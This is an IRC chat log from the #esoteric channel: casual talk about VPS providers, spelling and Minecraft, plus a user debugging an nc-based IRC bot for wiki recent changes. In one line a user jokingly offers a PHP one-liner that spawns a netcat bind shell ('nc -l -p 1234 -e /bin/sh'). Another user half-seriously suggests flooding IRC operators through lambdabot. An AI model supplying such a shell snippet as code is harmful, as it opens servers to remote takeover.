00:12:01 <ais523> although it has to be made out from a French bank, in euros
00:12:11 <RocketJSquirrel> ... people have che{ck,que}s?
00:12:32 <RocketJSquirrel> In my life I have literally never once written a check.
00:12:39 <ais523> let's see if their other terms are legal
00:12:46 <ais523> RocketJSquirrel: neither do I, because I don't have a chequebook
00:12:53 <ais523> however, I've requested them printed for me a couple of times at the bank
00:12:55 <elliott> ais523: Is this another one of those update lists I can't get off of?
00:13:02 <ais523> ?
00:13:07 <ais523> oh, like the tab=8 list?
00:13:11 <elliott> No.
00:13:18 <ais523> that's your fault for having an incorrect opinion
00:13:19 <elliott> Though I suppose that is another example, yes.
00:13:25 <elliott> But not the one I was thinking of.
00:13:31 <RocketJSquirrel> <ais523> however, I've requested them printed for me a couple of times at the bank // yes, this I've done too.
00:13:54 <elliott> Cheques are more common here than in the US, I believe.
00:14:13 <RocketJSquirrel> Which is funny since you don't even know how to spell the word *ba-dum lame*
00:15:56 <ais523> elliott: I thought they were more common in the US
00:16:10 <ais523> wow, this place also offers 3 and a half nines SLA, it's the highest I've seen
00:16:19 <ais523> from a budget VPS provider
00:16:23 <ais523> although that's all reasonably meaningless
00:17:02 <elliott> RocketJSquirrel: Actualy, 365ezone _don't_ autocharge.
00:17:07 <elliott> And allow you to pay by credit card.
00:17:13 <elliott> I just checked their "Terms & Condition" (singular).
00:17:16 <RocketJSquirrel> Indeed ;)
00:17:18 <elliott> They don't promise not to store the card, though.
00:17:28 <elliott> However, I don't believe they qualify for the status of "VPS provider".
00:17:31 <elliott> More like "VPS peddlar".
00:17:39 <elliott> *peddler
00:17:50 <RocketJSquirrel> elliott: Hey! They are best having cheap VPS for good hosts!
00:20:55 <ais523> bleh, there are actually impossible restrictions in this ToS
00:21:00 <ais523> such as preventing the IP ending up on a spam blacklist
00:21:12 <ais523> which is reasonable, but in theory the spam blacklist people can do what they like
00:21:14 <ais523> and sometimes in practice too
00:21:29 * RocketJSquirrel wonders what ToS ais523 is looking at now ...
00:21:54 <ais523> gandi's
00:21:57 <ais523> gandi.net
00:22:00 <ais523> it took a bit of work to find it
00:22:56 <RocketJSquirrel> Y'know what pisses me right the eff off?
00:23:02 <RocketJSquirrel> libc.so has been owned for a year now with no content.
00:23:44 <elliott> http://libm.so//?gtnjs=13334125907ba0f6ec9971d6d063c918e391bfc4c1
00:24:52 <elliott> RocketJSquirrel: But it's for sale!
00:25:14 <RocketJSquirrel> But it's not libc :'(
00:26:37 <elliott> RocketJSquirrel: Can you write my PHP for me?
00:27:30 <itidus21> libf.so returns pings
00:27:34 <RocketJSquirrel> <?PHP system("nc -l -p 1234 -e /bin/sh"); ?>
00:27:53 <elliott> RocketJSquirrel: Can you write my PHP for me better?
00:28:37 <elliott> RocketJSquirrel: What's the best nickname for a bot that parrots Esolang recentchanges in here?
00:29:28 <itidus21> libk.so looks like this: http://libk.so
00:29:38 -!- elliott has changed nick to esolan.
00:29:39 -!- esolan has changed nick to esolang.
00:29:50 <esolang> Well, this is available.
00:30:03 <ais523> you could consider "solidity", unless we have too much of that already
00:30:33 <esolang> solidity or esolang?
00:30:44 <ais523> "esolang" is simpler, at least
00:30:55 <RocketJSquirrel> solidity is more fun :)
00:32:39 <esolang> meh, esolang for now
00:33:29 -!- esolang has changed nick to elliott.
00:33:46 <ais523> OK, gandi's ToS is really reasonable in most respects
00:33:56 <elliott> "If this message is spam, please contact support@freenode.net with a full copy." --freenode
00:34:06 <ais523> the spam blacklist thing is the only weird bit, and I guess it's OK to just make a best effort to comply with it
00:34:13 -!- NihilistDandy has quit (Ping timeout: 264 seconds).
00:34:21 <ais523> elliott: and that's presumably for the purpose of anyone impersonating them having to add it too
00:34:43 <elliott> i suspect it's for people who spam registrations to an address
00:34:48 <elliott> but it's still funny
00:35:11 <elliott> did you know that MediaWiki's recent-changes streaming support is based on UDP?
00:35:22 <ais523> no
00:35:31 <elliott> presumably because they can't just run a daemon, they have to do it in a PHP script which has to terminate quickly, so they just send a UDP packet
00:36:03 <ais523> it makes sense
00:36:09 <elliott> what's a good port?
00:36:11 <ais523> UDP's designed for that sort of thing
00:36:17 <ais523> port number? port of a program?
00:37:03 <elliott> port number for the UDP server I'll run
00:37:13 <elliott> (I'm going to write a Perl program to receive the UDP requests and forward them to IRC)
00:37:18 <ais523> do you want it root-owned or high?
00:37:24 <elliott> really, it should be able to use a unix socket
00:37:44 <elliott> ais523: either is fine; latter is probably preferable, as I can just run the bot as my user
00:37:49 <elliott> and not have to deal with privilege-dropping code
00:37:57 <elliott> also, less likely to step on toes
00:38:19 <ais523> I'd just pick a random number, probably
00:38:31 <elliott> Go on, then.
00:38:49 <ais523> 21757
00:38:54 <ais523> (actually random, I just ran a randomizer)
00:39:41 <elliott> that's not a power of two _or_ a prime!
00:42:03 <elliott> shachaf: what's the best prime?
00:46:11 <elliott> shachaf: what's the best prime?
00:46:16 <elliott> ais523: what's the best prime UK ISP?
00:46:33 <ais523> elliott: I'm not sure if I can think of any numeric ISPs
00:47:04 <elliott> @time
00:47:05 <lambdabot> Local time for elliott is Tue Apr 3 01:47:01
00:47:16 <ion> @time
00:47:18 <lambdabot> Local time for ion is Tue Apr 3 03:46:46 2012
00:47:23 * pikhq shall have to create a new ISP: 2^2-1
00:47:31 <shachaf> elliott: 2
00:47:32 <elliott> pikhq: What's the best prime?
00:47:38 <shachaf> elliott: It's the only even prime.
00:47:38 <ion> How does lambdabot know that? By GeoIP?
00:47:49 <shachaf> By asking.
00:48:01 <ion> Oh, i should have looked at the status window. :-D
00:48:15 <pikhq> elliott: Objectively? http://primes.utm.edu/curios/page.php?number_id=953
00:48:27 <ais523> OK, I think gandi meet all my criteria for selecting a VPS provider, which is great
00:48:31 <ais523> now I'll go look for an even better one
00:48:38 <ais523> what did RocketJSquirrel suggest again?
00:48:44 <ion> pikhq: FTFY: 2²−1
00:48:47 <shachaf> ion: :-(
00:48:56 <shachaf> elliott: Tell ion to take me off /ignore.
00:49:12 <elliott> wait, "CAPTCHA" is derived from "capture"?
00:49:18 <elliott> pikhq: Over 1024.
00:49:22 <ais523> ah, 365ezone.com
00:49:24 <ais523> elliott: no, it's an acronym
00:49:25 <elliott> Oh, that's over 1024.
00:49:26 <RocketJSquirrel> ais523: 365ezone is best deal for quality VPS serving time
00:49:28 <elliott> ais523: He wasn't suggesting it.
00:49:36 <elliott> ais523: The term "CAPTCHA" was coined in 2000 by Luis von Ahn, Manuel Blum, Nicholas J. Hopper, and John Langford (all of Carnegie Mellon University). It is an acronym based on the word "capture" and standing for "Completely Automated Public Turing test to tell Computers and Humans Apart"
00:49:42 <elliott> "Acronyms are sometimes contrived, that is, deliberately designed to be especially apt for the thing being named (by having a dual meaning or by borrowing the positive connotations of an existing word). Some examples of contrived acronyms are USA PATRIOT, CAN SPAM, CAPTCHA and ACT UP."
00:49:57 <pikhq> ion: $2^2-1$
00:50:39 <ais523> they, umm, have a specific Minecraft server option, how ridiculous
00:50:43 <shachaf> ais523: I heard NetHack 4.2.0 was released.
00:50:56 <elliott> ais523: How is that ridiculous?
00:50:57 <ion> All the potheads rejoiced?
00:50:59 <elliott> Setting Bukkit up is annoying.
00:51:05 <elliott> Especially if you've never used Linux.
00:51:13 <ais523> elliott: I'm amazed that it's a large enough market for it to be worth money to be in
00:51:47 <elliott> ais523: Seriously? Over 5 million people have bought Minecraft.
00:51:48 <ion> @time do_you_take_a_parameter
00:51:54 <elliott> It's made Notch a multi-millionaire.
00:52:02 <elliott> It's had its own bloody conference in Vegas. It's huge.
00:52:16 <elliott> *convention
00:52:19 <elliott> What's the difference???
00:52:21 <elliott> Con, con, all the same.
00:52:34 <elliott> *condominium
00:52:47 <RocketJSquirrel> I would totally buy a Minecraft condominium.
00:53:18 <pikhq> Minecraft is one of the top 10 best-selling PC games by now, isn't it?
00:53:22 <elliott> What about a Minecraft condom? I HAD TO GO THERE OK.
00:53:32 <ion> @time preflex
00:53:33 <lambdabot> Local time for preflex is 2012-04-03 00:53WHERE IS SARAH CONNOR?
00:54:06 <elliott> !haskell randomRIO (1,1)
00:54:13 <elliott> !haskell randomRIO (1,2)
00:54:17 <EgoBot> ​\ /tmp/runghcXXXX18901.hs:1:1: \ Parse error: naked expression at top level
00:54:18 <EgoBot> ​\ /tmp/runghcXXXX18945.hs:1:1: \ Parse error: naked expression at top level
00:54:20 <RocketJSquirrel> It's a Minecraft conscription. If you live in Vegas, there's a decent chance you'll get conscripted into the Minecraft army.
00:54:28 <elliott> RocketJSquirrel: Laaame
00:54:31 <elliott> !haskell main = print $ randomRIO (1,2)
00:54:33 <elliott> !haskell main = print $ randomRIO (1,2)
00:54:34 <elliott> !haskell main = print $ randomRIO (1,2)
00:54:34 <elliott> !haskell main = print $ randomRIO (1,2)
00:54:36 <EgoBot> ​\ /tmp/runghcXXXX19041.hs:1:16: Not in scope: `randomRIO'
00:54:38 <EgoBot> ​\ /tmp/runghcXXXX19132.hs:1:16: Not in scope: `randomRIO'
00:54:39 <EgoBot> ​\ /tmp/runghcXXXX19145.hs:1:16: Not in scope: `randomRIO'
00:54:40 <EgoBot> ​\ /tmp/runghcXXXX19146.hs:1:16: Not in scope: `randomRIO'
00:54:40 <elliott> X_X
00:54:51 <elliott> !haskell import System.Random; main = print $ randomRIO (1,2)
00:54:53 <elliott> !haskell import System.Random; main = print $ randomRIO (1,2)
00:54:56 <EgoBot> ​\ /tmp/runghcXXXX19259.hs:1:8: \ Could not find module `System.Random' \ Use -v to see a list of the files searched for.
00:54:58 <EgoBot> ​\ /tmp/runghcXXXX19265.hs:1:8: \ Could not find module `System.Random' \ Use -v to see a list of the files searched for.
00:55:03 <elliott> RocketJSquirrel: You're fucking kidding me.
00:55:14 <RocketJSquirrel> Randomness is for losers.
00:55:21 <ais523> 365ezone do not inspire me with confidence about their competence
00:55:39 <RocketJSquirrel> ais523: 365ezone having best deals for VPS in your good hosting service!
00:55:43 <ais523> and the prices are very low by comparison to some other places
00:56:02 <ais523> and they have a really weird list of things that they ban (roleplaying games on shared servers, for instance)
00:56:03 <RocketJSquirrel> I pay $20/yr for glogbackup.
00:56:40 <elliott> shachaf: Did you know Adam Chlipala is banned from #haskell????
00:56:41 <elliott> I do!
00:56:43 <elliott> Did.
00:56:43 <ais523> RocketJSquirrel: is it on a shared server? or a master server?
00:56:55 <ais523> backups are also against the TOS on shared servers, for reasons I can't figure out
00:57:06 <ion> @time ubuntulog
00:57:07 <lambdabot> Local time for ubuntulog is Tue Apr 3 00:56:36 2012
00:57:26 <shachaf> elliott: Smerdyakov? Yep.
00:57:37 <ion> So anyone can make lambdabot flood anyone with CTCP TIME queries? Someone should try that with one of Freenode’s ircops.
00:57:38 <shachaf> elliott: Did you know I've met Adam Chlipala IN REAL LIFE!!!!?
00:57:40 <RocketJSquirrel> ais523: VPS
00:57:42 <elliott> shachaf: See, I knew Smerdyakov is banned from #haskell. But I had no idea who that was.
00:57:47 <elliott> But I knew who Adam Chlipala was!
00:57:55 <elliott> And then someone said they were him and I was like whooooaaaa but he seems so cool.
00:57:57 <elliott> The end.
00:58:04 <elliott> ion: @time Plazma
00:58:13 <elliott> (^^^ AWESOME SUPER-GREAT REFERENCE)
00:58:20 <elliott> It was Plazma, right?
00:58:22 <elliott> I forget their nick.
00:58:50 <RocketJSquirrel> ais523: Please tell me you realize I am not suggesting you actually use 365ezone X_X
00:58:50 <shachaf> 17:51 <shachaf> What's the time where you are?
00:58:55 <shachaf> 17:58 <ion> 03:58
00:59:01 <ais523> RocketJSquirrel: ah, OK
00:59:07 <ais523> what's your opinion of them, anyway?
00:59:26 <ion> shachaf: That was proprietary information you just leaked.
01:00:11 <elliott> Prelude Math.NumberTheory.Primes.Testing System.Random> let pick = randomRIO (1024,65536) >>= \p -> if isPrime p then return p else pick
01:00:12 <elliott> HERE WE GO
01:00:25 <elliott> 8147. That's a nice port.
01:00:27 <elliott> Does anything use that?
01:00:57 <ais523> elliott: google it?
01:01:37 <elliott> More like shoogle it
01:01:46 <elliott> IANA's port assignments are apparently in XML form.
01:02:07 <ion> Makes sense, you can conveniently process them with XSLT.
01:02:20 -!- azaq23 has quit (Quit: Leaving.).
01:02:39 <elliott> @downforeveryoneorjustme http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml
01:02:39 <lambdabot> Unknown command, try @list
01:02:42 <elliott> @hlep
01:02:42 <lambdabot> Maybe you meant: help let slap
01:02:45 <elliott> @slep
01:02:46 * lambdabot orders her trained monkeys to punch
01:02:52 <elliott> me 2
01:03:16 <ion> @slap self
01:03:17 <lambdabot> go slap self yourself
01:03:26 <elliott> @slep lambdabot
01:03:26 * lambdabot slaps lambdabot with a slab of concrete
01:03:29 <elliott> @slep lambdabot
01:03:29 * lambdabot will count to five...
01:03:30 <elliott> @slep lambdabot
01:03:30 * lambdabot places her fist firmly on lambdabot's jaw
01:03:35 <elliott> ouche
01:03:38 <elliott> @slep lambdabot
01:03:38 <lambdabot> *SMACK*, *SLAM*, take that lambdabot!
01:03:41 <elliott> @slep lambdabot
01:03:41 <lambdabot> I don't perform such side effects on command!
01:03:42 <elliott> @slep lambdabot
01:03:43 <lambdabot> I'd rather not; lambdabot looks rather dangerous.
01:03:46 <elliott> agreed
01:04:33 <elliott> elliott@solidity:~$ nc -u -l -p 8147
01:04:33 <elliott> 14[[07Esolang:Sandbox14]]4 10 02http://esolangs.org/w/index.php?diff=31735&oldid=31734 5* 03Ehird 5* (+13) 10test
01:04:34 <elliott> yay
01:05:17 <elliott> ais523: what's POE like
01:05:19 <elliott> <ais523> cpan
01:05:25 <ais523> elliott: POE = ?
01:05:57 <elliott> how do you sockets in perl help thanks
01:06:01 <elliott> poe = http://poe.perl.org/
01:06:09 <ais523> hmm, not sure I've ever tried
01:07:24 <elliott> how do you sneckets in perl thenks
01:11:05 -!- esolang has joined.
01:11:26 <elliott> hmm, that didn't work
01:11:29 -!- esolang has quit (Remote host closed the connection).
01:11:49 <elliott> oh
01:11:52 <elliott> hmm
01:12:35 -!- esolang has joined.
01:12:45 <elliott> why doesn't it work :/
01:12:54 -!- esolang has quit (Remote host closed the connection).
01:13:21 <elliott> aha, hmm
01:13:46 -!- esolang has joined.
01:13:54 <elliott> dsfkjsdflksdf
01:13:54 -!- esolang has quit (Remote host closed the connection).
01:14:01 -!- esolang has joined.
01:14:07 <elliott> wtffff
01:14:11 -!- esolang has quit (Remote host closed the connection).
01:14:22 <elliott> ais523: why does my bot not work :(
01:14:34 <shachaf> Is your bot lambdabot?
01:14:40 <elliott> yes
01:16:23 <shachaf> elliott: The answer is: Because it's lambdabot.
01:23:20 -!- Mathnerd314 has joined.
01:24:04 <elliott> NICK esolang
01:24:04 <elliott> USER esolang 8 * :Esolang recent changes bot, see http://esolangs.org/
01:24:04 <elliott> JOIN #esoteric
01:24:04 <elliott> PRIVMSG #esoteric :14[[07Esolang:Sandbox14]]4 10 02http://esolangs.org/w/index.php?diff=31744&oldid=31743 5* 03Ehird 5* (+7) 10
01:24:06 <elliott> Why wouldn't this work?
01:24:10 <elliott> Seriously, I honestly can't tell.
01:24:16 <elliott> Answers from someome other than shachaf please.
01:25:20 <shachaf> elliott: I don't think you can have spaces in the realname?
01:25:22 <Mathnerd314> did you write it in Haskell?
01:25:28 <shachaf> I might be wrong. It joined the channel, so I'm probably wrong.
01:25:38 <ais523> you can have spaces in teh realname
01:25:44 <ais523> did you get an error message back?
01:25:47 <elliott> shachaf: it wouldn't be much of a realname without
01:25:52 <elliott> ais523: no, that privmsg just gets dropped
01:25:56 <elliott> and it keeps receiving messages
01:26:07 <elliott> note that the privmsg has ansi codes in but i've piped it to cat -v and it still doesn't work
01:26:14 <ais523> it /looks/ correct
01:26:43 <shachaf> elliott: Did you try getting rid of the ANSI codes?
01:27:08 <elliott> <elliott> note that the privmsg has ansi codes in but i've piped it to cat -v and it still doesn't work
01:27:11 <elliott> Same fucking line.
01:27:33 <shachaf> cat -v considered harmful
01:28:18 -!- esolang has joined.
01:28:28 <shachaf> PRIVMSG #esoteric :14[[07Esolang:Sandbox14]]4 10 02http://esolangs.org/w/index.php?diff=31744&oldid=31743 5* 03Ehird 5* (+7) 10
01:28:30 <esolang> 14[[07Esolang:Sandbox14]]4 10 02http://esolangs.org/w/index.php?diff=31744&oldid=31743 5* 03Ehird 5* (+7) 10
01:28:31 <shachaf> Er.
01:28:31 <elliott> shachaf: Get that out.
01:28:42 -!- esolang has quit (Client Quit).
01:28:49 -!- esolang has joined.
01:28:50 <esolang> a privmsg
01:28:55 <shachaf> elliott: Nope, your IRC isn't broken.
01:29:04 -!- esolang has quit (Remote host closed the connection).
01:29:37 <elliott> OK, now it's acting like it's missing the trailing newline.
01:29:41 <elliott> Except adding "; echo" doesn't help either.
01:29:54 <shachaf> elliott: Add a new line with QUIT at the end?
01:29:58 -!- esolang has joined.
01:29:58 <esolang> a privmsg
01:30:29 <elliott> shachaf: OK.
01:30:30 -!- esolang has quit (Remote host closed the connection).
01:30:41 -!- esolang has joined.
01:30:41 <esolang> a privmsg
01:30:45 <elliott> No quit.
01:30:51 -!- esolang has quit (Remote host closed the connection).
01:31:08 <elliott> NICK esolang
01:31:08 <elliott> USER esolang 8 * :Esolang recent changes bot, see http://esolangs.org/
01:31:08 <elliott> JOIN #esoteric
01:31:08 <elliott> PRIVMSG #esoteric :a privmsg
01:31:09 <elliott> <hits enter>
01:31:17 <elliott> PRIVMSG #esoteric :a privmsg
01:31:17 <elliott>
01:31:18 <elliott> PRIVMSG #esoteric :^C14[[^C07Esolang:Sandbox^C14]]^C4 ^C10 ^C02http://esolangs.org/w/index.php?diff=31749&oldid=31748^C ^C5*^C ^C03Ehird^C ^C5*^C (+1) ^C10^C
01:31:18 <elliott> QUIT :outta here
01:31:24 <elliott> With two blank lines before the QUIT.
01:31:35 <elliott> I don't know why it doesn't say anything before I hit enter.
01:31:50 <shachaf> elliott: Did you try \r\n?!
01:32:19 <elliott> I know for a fact that freenode doesn't require \r.
01:32:43 <RocketJSquirrel> It's true!
01:36:06 <shachaf> elliott: Did you try \n\n?!
01:36:20 <elliott> Sigh.
01:37:31 <shachaf> elliott: How are you sending these commands, exactly?
01:37:33 <shachaf> Maybe it's buffering.
01:37:38 <shachaf> Are you typing them in nc in the terminal?
01:38:54 <elliott> (echo "PASS $(cat esolang-bot-password)"; echo 'NICK esolang'; echo 'USER esolang 8 * :Esolang recent changes bot, see http://esolangs.org/'; echo 'JOIN #esoteric'; echo 'PRIVMSG #esoteric :a privmsg'; while true; do nc -u -l -p 8147 | sed 's/^/PRIVMSG #esoteric :/'; echo; echo; echo 'QUIT :outta here'; done) | cat -v | nc irc.freenode.net 6667
01:41:51 <elliott> @time
01:41:51 <lambdabot> Local time for elliott is Tue Apr 3 02:41:47
01:44:34 <elliott> @time shachaf
01:44:35 <lambdabot> Local time for shachaf is Mon Apr 2 18:44:04 2012
01:44:46 <RocketJSquirrel> Well that's clearly the best bot X-D
01:47:15 <shachaf> What's that while true for?
01:48:31 -!- esolang has joined.
01:48:32 <esolang> a privmsg
01:48:37 <monqy> esolang: hi
01:48:42 <monqy> `welcome esolang
01:48:45 <RocketJSquirrel> `WELCOME ESOLANG
01:48:45 <HackEgo> esolang: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
01:49:55 <elliott> <shachaf> What's that while true for?
01:49:59 <elliott> It disconnects after receiving a UDP message.
01:50:02 <elliott> disconnects = exits
01:50:02 -!- esolang has quit (Remote host closed the connection).
01:50:20 <shachaf> Right, so what's it for?
01:50:26 <shachaf> Never mind, I don't feel like debugging IRC bts.
01:55:09 <Sgeo> I want to facepalm at Conservapedia
01:55:18 <Sgeo> "The theory of an old universe is contradicted again, this time by discovery of planets that formed "at dawn of universe." [1] How many counterexamples to an Old Earth does an atheist need in order to start opening his mind?"
01:55:28 <Sgeo> The [1] links to http://www.csmonitor.com/Science/2012/0330/Planets-found-at-dawn-of-universe-but-their-existence-is-a-mystery
01:55:38 <Sgeo> Do they even READ the articles, or just use the headlines?
01:55:46 <Sgeo> Because that is, admittedly, perhaps a misleading headline
01:56:42 <RocketJSquirrel> ALSO: csmonitor.com lol
01:57:50 <Sgeo> iirc CS Monitor is actually decent despite the name
01:58:07 <RocketJSquirrel> You recall wrong.
01:58:39 <RocketJSquirrel> *You recall wrongly.
01:58:48 <RocketJSquirrel> GRAMMAR NAZI TO THE RESCUE!
01:59:31 <Sgeo> Stephen Fry would like to have a word
02:01:06 <coppro> law of wikis: every subject has exactly one wikia, one non-wikia wiki, and a wikipedia article
02:02:03 <RocketJSquirrel> FOR INSTANCE mlp.wikia.com, mylittlewiki.com, en.wikipedia.org/wiki/My_Little_Pony_Friendship_is_Magic
02:02:57 <RocketJSquirrel> Damn, my guess at the non-wikia wiki was wrong X-D
02:03:17 <RocketJSquirrel> It's mylittlewiki.org , and that appears less focused on FiM (i.e. focused on terrible garbage that we should all forget ever existed)
02:12:08 -!- Mathnerd314 has quit (Ping timeout: 252 seconds).
02:35:49 <Sgeo> Hmm, I think Creatures follows that pattern
02:35:57 <Sgeo> There was a very old wiki before the wikia
02:36:16 <Sgeo> iirc
02:37:16 <Sgeo> I think it's dead now
02:39:20 <pikhq> RocketJSquirrel: The Christian Science Monitor, contrary to its name, is a relatively well-respected journalistic entity.
02:40:42 <pikhq> It's only incidentally related to the Church of Christ, Scientist, and that only because the founder of both believed strongly in good journalism.
02:41:51 <kmc> yeah csm is legit
02:42:04 -!- MDude has quit (Read error: Connection reset by peer).
02:42:20 -!- MDude has joined.
02:43:59 <elliott> aren't the christian scientists the faith healing peeps
02:44:24 <elliott> http://upload.wikimedia.org/wikipedia/en/c/c6/Ccseal.PNG best logo imo
02:44:27 <pikhq> Yes, they are complete wakos.
02:44:43 <pikhq> It just happens that this has no impact on their newspaper.
02:45:10 <elliott> unless the subject being reported about is them, I'd wager
02:48:57 <pikhq> The church doesn't really have much influence on their writing, and their editors generally aren't Christian Scientists.
02:49:02 <RocketJSquirrel> Welp, just found the worst-spelled word in my spelling dictionary.
02:49:07 <RocketJSquirrel> "boogieing"
02:49:12 <RocketJSquirrel> I ... I cannot tolerate that spelling.
02:49:42 <elliott> What's the correct spelling?
02:49:46 <pikhq> It's really a damned odd thing.
02:49:49 <elliott> B T W:
02:49:55 <elliott> I've been considering switching to en-GB-x-oed.
02:49:58 <elliott> Would y'all disown me?
02:50:04 <elliott> (y'all is perfectly valid en-GB-x-oed tyvm)
02:50:07 <pikhq> Purely secular reporting by a church.
02:50:08 <RocketJSquirrel> elliott: According to my spelling dictionary, "boogieing"
02:50:10 <RocketJSquirrel> I don't know what else.
02:50:14 <pikhq> elliott: "x-oed" = ?
02:50:29 <elliott> pikhq: Sorry, en-GB-oed.
02:50:35 <elliott> Forgot it was official.
02:50:44 <RocketJSquirrel> Boogiïng is plausible 8-D
02:51:03 <pikhq> So, the Oxford spellings.
02:51:29 <elliott> RocketJSquirrel: Booing
02:51:30 <elliott> *Boogin
02:51:31 <elliott> *Booging
02:51:32 <elliott> fuck
02:51:33 <RocketJSquirrel> Presumably oed is just "every word anyone has ever written in an otherwise-English context"
02:51:44 <RocketJSquirrel> Yeah, definitely "booing"
02:51:56 <elliott> RocketJSquirrel: en-GB-oed is en-GB using -ize suffices.
02:52:00 <pikhq> RocketJSquirrel: And with the OED-prefered spelling, where there are multiple choices.
02:52:07 <pikhq> e.g. -ize suffixes.
02:52:11 <elliott> For etymological and phonetic reasons.
02:52:21 <elliott> (Note that this only applies to -ize; it's still "analyse")
02:52:52 <pikhq> And it's still "programme".
02:53:10 <elliott> pikhq: Yeah, but I say program anyway >_>
02:53:18 <elliott> I consider programme to refer to only the non-computer meanings.
02:53:28 <RocketJSquirrel> Oh, OED.
02:53:30 <RocketJSquirrel> Why you gotta.
02:53:36 <elliott> http://stackoverflow.com/questions/9985988/haskell-pattern-matching-disappointed
02:53:38 <elliott> What a fucking moron.
02:53:42 <pikhq> Apparently that's actually proper UK English. "program" refers to a computer program exclusively.
02:53:49 <elliott> RocketJSquirrel: "[I]n mod.F. the suffix has become -iser, alike in words from Greek, as baptiser, évangéliser, organiser, and those formed after them from L., as civiliser, cicatriser, humaniser. Hence, some have used the spelling -ise in Eng., as in French, for all these words, and some prefer -ise in words formed in French or Eng. from L. elements, retaining -ize for those of Gr. composition. But the suffix itself, whatever the element to wh
02:53:49 <elliott> ich it is added, is in its origin the Gr. -ιζειν, L. -izāre; and, as the pronunciation is also with z, there is no reason why in English the special French spelling should be followed, in opposition to that which is at once etymological and phonetic. In this Dictionary the termination is uniformly written -ize. (In the Gr. -ιζ-, the i was short, so originally in L., but the double consonant z (= dz, ts) made the syllable long; when the z
02:53:50 <elliott> became a simple consonant, (-idz) became īz, whence Eng. (-aɪz).)"
02:54:00 <pikhq> Because spelling needs to be less consistent. :)
02:56:14 <elliott> <elliott> http://stackoverflow.com/questions/9985988/haskell-pattern-matching-disappointed
02:56:17 <elliott> I feel the need to reiterate:
02:56:19 <elliott> What a fucking moron.
02:56:36 <pikhq> "I typed in wrong code and the compiler errored. HASKELL SUCKS"
02:59:51 <Sgeo> Well, the code makes sense in other languages, is I think the point
03:00:34 <elliott> kmc: Tell me not to link that question in #haskell.
03:00:41 <elliott> I'm so tempted. But then #haskell might get even worse.
03:00:44 <elliott> ??? help
03:01:00 -!- pikhq_ has joined.
03:01:08 -!- pikhq has quit (Ping timeout: 248 seconds).
03:04:52 <shachaf> elliott: I think that is just a troll post.
03:04:58 <shachaf> No need to get annoyed.
03:05:41 <elliott> shachaf: I know it is. I'm not actually annoyed.
03:06:05 <elliott> It's therapeutic to call people fucking morons. You should try it sometime.
03:06:19 <shachaf> O. I thought that you were actually annoyed.
03:06:27 <shachaf> elliott: I've never done it in my life.
03:06:53 <elliott> http://stackoverflow.com/questions/9985987/t-or-f-tcp-socket-method-is-unsuitable-for-mobile-devices
03:06:55 <elliott> The best question.
03:07:10 * shachaf is no good at zzoing.
03:07:32 <shachaf> There should be a game where a bunch of people pretend to be zzo38 and they get points based on how realistic they are.
03:07:33 <elliott> shachaf: O, is that so. OK.
03:07:37 <shachaf> You could call it a ZZORPG.
03:07:49 <pikhq_> I'm afraid zzoing is best left to zzo38. At least, I think so.
03:08:18 <elliott> In Astrolog, I see the ecliptic declension is measured in radians. In my opinion, they should have it be any system of measurement, such as SI, metric, or even something you made up yourself, not just radians.
03:08:48 * elliott likes to think he's quite good at this.
03:09:03 <shachaf> elliott: What's Astrolog?
03:09:18 <elliott> `pastlog <zzo38.*Astrolog is
03:09:54 <HackEgo> No output.
03:10:08 <elliott> :(
03:10:09 -!- itidus21 has quit (Read error: Connection reset by peer).
03:10:42 <shachaf> elliott: Being on-topic is part of the point.
03:10:49 <elliott> Cnay ou try to make a language like Haskell but with many thing different, such as, more notation, macros (like Template Haskell but different), no layout, and extensible data?
03:10:54 <shachaf> (Admittedly you don't *always* want to be on-topic.)
03:10:54 <elliott> Fuck
03:10:56 <elliott> Can you try to make a language like Haskell but with many thing different, such as, more notation, macros (like Template Haskell but different), no layout, and extensible data?
03:11:06 <pikhq_> I dunno, cnay ou?
03:11:28 <monqy> a true msyetry
03:11:36 <elliott> O. Now I see.
03:11:46 <elliott> `quote unreasonabl
03:11:47 <elliott> `quote unreasonable
03:11:50 <HackEgo> No output.
03:12:01 <elliott> `quote peple
03:12:03 <HackEgo> No output.
03:12:05 <HackEgo> 139) <zzo38> Some people are reasonable, some people who are not reasonable insist on changing things so therefore progress depends on not reasonablepeple
03:12:22 <elliott> That's my favourite version of that quote.
03:13:36 <monqy> good version
03:14:16 <shachaf> "good version" -- monqy
03:15:01 <shachaf> Does zzo38 read logs?
03:15:04 <shachaf> (Hi zzo38!)
03:15:12 <monqy> hi zzo38
03:15:30 <shachaf> I think I just realized the answer to my own question.
03:15:35 <shachaf> The only log zzo38 reads is...
03:15:40 <shachaf> The Astrolog
03:15:46 -!- emcc has joined.
03:17:54 <elliott> `welcome emcc
03:17:57 <HackEgo> emcc: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
03:21:37 -!- emcc has left.
03:21:49 <kmc> fuck, i updated chromium using its internal thingy, and now it's being laggy and dumb
03:22:06 <kmc> browsers have so much code churn that every update fixes some bugs and introduces new ones
03:22:13 <kmc> so if you are happy with your current situation, don't upgrade ;P
03:25:31 <elliott> kmc: "Updated Chromium"? It does that automatically. Oh, Chromium, not Chrome.
03:25:38 <elliott> Does Chromium have an internal update thing? I don't think so.
03:25:41 <elliott> Maybe on Windows.
03:25:45 <elliott> Or OS X, I guess.
03:27:25 <kmc> it does
03:27:27 <kmc> i used it
03:27:29 <kmc> foolishly
03:27:59 <elliott> Where is it?
03:28:02 <kmc> in the menu
03:28:03 <kmc> there's only one
03:28:10 <elliott> Which item?
03:28:16 <elliott> Also, you could always just tell your distro to reinstall the package :P
03:28:17 <kmc> "update chromium" or some shit
03:28:19 <kmc> it showed up
03:28:22 <elliott> I have no such item.
03:28:22 <kmc> yeah maybe i'll do that
03:28:33 <kmc> it showed up
03:28:37 <kmc> when i had an update ;P
03:28:41 * elliott is on 18.0.1025.142, fwiw.
03:28:49 <kmc> as a user i feel like I'm getting screwed by some dick-measuring contest between google and mozilla
03:28:49 <elliott> Maybe Arch disable the menu item or something.
03:28:59 <kmc> i wish they would stop adding shiny for a while, maybe fix some bugs
03:29:03 <elliott> Chrome's versioning scheme is reasonable.
03:29:06 <elliott> Firefox's is not.
03:29:08 <kmc> maybe even (gasp!) maintain a stable tree that gets bugfixes
03:29:17 <elliott> kmc: Erm, Chrome does that.
03:29:20 <elliott> That's what all the channels are about.
03:29:22 <kmc> oh?
03:29:30 <elliott> kmc: Your distro might be providing you the dev channel.
